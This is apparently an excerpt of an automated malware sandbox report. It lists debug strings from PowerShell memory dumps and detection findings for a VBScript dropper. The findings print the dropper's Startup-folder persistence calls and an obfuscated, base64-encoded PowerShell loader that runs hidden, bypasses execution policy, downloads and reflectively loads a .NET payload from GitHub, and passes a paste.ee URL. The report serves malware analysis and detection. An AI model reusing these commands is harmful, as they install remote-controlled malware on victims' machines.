Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mNqSPruzCXM.exe, 00000011.00000000.2643006321.000000000026E000.00000002.00000001.01000000.00000006.sdmp, mNqSPruzCXM.exe, 00000018.00000000.2801120472.000000000026E000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: appidtel.pdbGCTL source: convert.exe, 00000013.00000002.2977602776.0000000003C8C000.00000004.10000000.00040000.00000000.sdmp, convert.exe, 00000013.00000002.2974673632.0000000002F44000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3537079576.000000000259C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3534781987.000000002F20C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.2502842295.00007FFD34860000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Co", "0", "true");IHost.FullName();IWshShell3.CurrentDirectory();IHost.ScriptName();IWshShell3.SpecialFolders("Startup");IFileSystem3.FileExists("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pinheirame.vbs");IFileSystem3.CopyFile("C:\Windows\system32\Payment.vbs", "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pinheirame.vbs");IWshShell3.Run("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Co", "0", "true");IWshShell3.Run("powershell -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczo", "0", "false")

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 